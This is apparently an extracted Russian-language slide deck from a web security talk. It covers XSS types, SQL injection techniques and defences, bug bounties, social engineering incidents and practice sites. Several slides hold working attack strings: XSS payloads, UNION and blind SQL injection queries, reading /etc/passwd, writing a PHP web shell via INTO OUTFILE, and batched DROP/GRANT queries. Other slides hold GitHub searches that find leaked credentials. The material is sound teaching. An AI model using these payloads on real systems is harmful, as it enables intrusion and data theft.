  • 14. XSS Exploitability AVERAGE Prevalence VERY WIDESPREAD Detectability EASY Impact MODERATE
  • 15. Cross-Site Scripting (WASC-08) Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы. Браузер может быть встроен в ПО и иметь доступ к его компонентам. Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
  • 16. Cross-Site Scripting Угроза ● фишинг ● кража сессии (если куки не httponly) ● кража пользовательских данных жертвы со страниц ● выполнение нежелательных действий от имени жертвы (обход CSRF-защиты)
  • 17. Cross-Site Scripting Типы ● TYPE 1 — отражённая (non-persistent, reflected) ● TYPE 2 — хранимая (persistent, stored) ● TYPE 0 — DOM-based
  • 18. Cross-Site Scripting TYPE 1, отражённая ● формируется запрос с пользовательскими данными userdata ● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации Чаще всего это ● заполнение полей формы в случае ошибки ● вывод поискового текста в форме поиска
  • 19. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 20. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 21. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 22. Cross-Site Scripting TYPE 2, хранимая ● пользовательские данные сохраняются в БД без надлежащей фильтрации ● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
  • 23. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 24. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 25. Cross-Site Scripting TYPE 3, DOM-based Атака полностью реализуется на клиенте без участия сервера ● пользователь вводит данные в URL или на страницу (формы) ● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
  • 26. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 27. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 28. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('Hello, '+r+'!'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 29. Cross-Site Scripting Меры предотвращения Правила OWASP https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet ESAPI (The OWASP Enterprise Security API) https://code.google.com/p/owasp-esapi-java/ https://code.google.com/p/owasp-esapi-php/ https://code.google.com/p/owasp-esapi-python/ httponly куки CSP (Content Security Policy)
  • 30. Cross-Site Scripting CSP CSP — Content Security Policy [Google, Mozilla] http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html Кто уже поддерживает? http://caniuse.com/#feat=contentsecuritypolicy Кто уже использует? (из alexa top-25) - mail.yandex.ru, e.mail.ru, facebook.com
  • 31. Cross-Site Scripting CSP: пример HTTP Response Header Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
  • 32. Cross-Site Scripting Аудит OWASP ZAP [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project] прокси с последующим анализом логов. OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER] очень умный, гибко настраивается, многое умеет. w3af [http://w3af.org/plugins/audit/xss]
  • 33. SQL Injection Exploitability EASY Prevalence COMMON Detectability AVERAGE Impact SEVERE
  • 34. SQL Injection (WASC-19) Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД. В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
  • 35. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 36. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 37. SQL Injection Схема атаки ● поиск точки, использующей пользовательские данные в SQL-запросе ● выполнение фингерпринтинга СУБД ● поиск уязвимости, позволяющей выполнить атаку ● эксплуатация уязвимости
  • 38. SQL Injection Фингерпринтинг СУБД ● сообщения об ошибках на страницах ● баннер (version(), @@version) - SELECT version() --> 5.6.12-56 ● диалект SQL - MySQL: WHERE id = 1 /*!50067 AND 47=47 */ - PostgreSQL: AND 82::int=82 ● поведение некоторых функций ● вакансии или собеседование :)
  • 39. SQL Injection Эксплуатация Типы ● обычная инъекция — по выводимым ошибкам ● инъекция вслепую (Blind Injection) — вывод ошибок отключен Техники ● UNION ● batched запросы ● boolean-based blind ● time-based blind
  • 40. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 and 1=1 -- OK query.php?id=1 and 1=2 -- error
  • 41. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 order by 1 -- OK query.php?id=1 order by 2 -- OK query.php?id=1 order by 3 -- OK query.php?id=1 order by 4 -- error!
  • 42. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 43. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 44. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=-1 union all select version(), user(), database() Name: 5.0.0-42 [root@localhost] Age: Main
  • 45. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database()) Name: 5.0.0-42:root@localhost:Main
  • 46. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select load_file('/etc/passwd') query.php?id=-1 union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
  • 47. SQL Injection Примеры: batched queries SELECT a FROM table WHERE id={$id} query.php?id=1;drop table ... query.php?id=1;drop user ... query.php?id=1;create user ... query.php?id=1;grant all privileges on ... query.php?id=1;select ... into outfile ...
  • 48. SQL Injection Примеры: boolean-based blind SELECT a FROM table WHERE id={$id} query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A D — номер БД в таблице schemata N — номер очередного символа A — ASCII-код символа select schema_name from information_schema.schemata — имя БД mid(dbname, N, 1) — один символ имени ord(char) — ASCII-код, удобнее сравнивать
  • 49. SQL Injection Примеры: time-based blind (double blind) SELECT a FROM table WHERE id={$id} query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true) S — в зависимости от нормального времени отклика сайта Основа — как в boolean-based blind if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
  • 50. SQL Injection Защита и превентивные меры ● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений - SELECT * FROM table WHERE columna=? AND columnb=? ● файрволлы (детекция попыток фингерпринтинга и эксплуатаций) — NAXSI, ModSecurity ● разграничение прав доступа - user: SELECT, INSERT, UPDATE, … - superuser: CREATE, DROP, ALTER, … ● валидация и фильтрация всего :)
  • 51. SQL Injection Аудит sqlmap [http://sqlmap.org/] — умеет всё. MySQL, Oracle, PostgreSQL, Microsoft SQL Server, … Знает массу техник исследования и эксплуатации. Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД. Вряд ли вам понадобится другой инструмент.
  • 52. Зачем нам всё это знать? Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого. Чтобы понимать, откуда ВНЕЗАПНО может прийти беда. Чтобы уметь разрабатывать инструменты противодействия. Чтобы уметь пользоваться инструментами и писать безопасный код. Ну и просто потому что это круто :)
  • 53. P.S.
  • 54. Bug bounty программы Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем. Bug bounty программа хорошо конвертирует blackhats в whitehats. Список таких программ https://bugcrowd.com/list-of-bug-bounty-programs/ Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
  • 55. Wamba Bug Bounty http://corp.wamba.com/ru/developer/security/ Вознаграждения ● критичные сервисы — от 5 000 до 100 000 руб. ● прочие сервисы — от 3 000 до 25 000 руб. ● зал славы
  • 58. Атаки на браузеры http://html5sec.org/ Теперь не только <script> и <img onerror/> Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
  • 59. Атаки на браузеры cookie-bomb (by @homakov) http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted. Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com. 1 кука = 4кБ, а мы можем поставить сотни кук. 400кБ+ заголовков — веб-сервер просто не отвечает. Итого: DoS сервиса (не всего, для юзера) куками
  • 61. Социальная инженерия Chunkhost и Sendgrid (март 2014) https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid Как в старые добрые времена ● хакер покупает домен chunkhost.info ● звонит в поддержку sendgrid и просит сменить мыло support@chunkhost.com ● на support@chunkhost.info, поддержка говорит ОК (wtf?) ● хакер включает в sendgrid фичу BCC, инициирует сброс паролей пары акков на chunkhost, получает копию писем со ссылкой для сброса ● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
  • 62. Социальная инженерия CSS-Tricks и Media Temple (март 2014) http://shoptalkshow.com/episodes/special-one-one-hacker/ Как в еще более старые добрые времена ● хакер звонит в поддержку MT и просит поменять email от акка Криса, потому что, якобы, не помнит его ● поддержка говорит «ок, только пришлите скан своих документов» ● хакер подделывает документы и получает акк (sic!) ● кроме этого захватывает пачку других сайтов ● чувак говорит, что мог бы захватить jquery.com (тоже хостится на MT) и заразить исходники, которые используются на тысячах сайтов ● еще чувак говорит, что ничего не понимает в этих ваших sql- инъекциях и прочей ерунде, но ему это и не нужно :)
  • 63. Github, пароли в репозиториях DB config (PHP) https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code ≈60000 AWS private key https://github.com/search?q=AKIAJ&type=Code&ref=searchresults ≈1000 RSA private key https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY--- %22&ref=searchresults&s=indexed&type=Code ≈44000
  • 66. Потренироваться http://testphp.vulnweb.com (Acunetix) http://testasp.vulnweb.com (Acunetix) http://testaspnet.vulnweb.com (Acunetix) http://testhtml5.vulnweb.com/ (Acunetix) http://demo.testfire.net (IBM) http://zero.webappsecurity.com (HP) http://crackme.cenzic.com (Cenzic) http://www.webscantest.com (NTO) http://www.dvwa.co.uk/ (RandomStorm, offline) https://code.google.com/p/webgoat/ (OWASP, offline)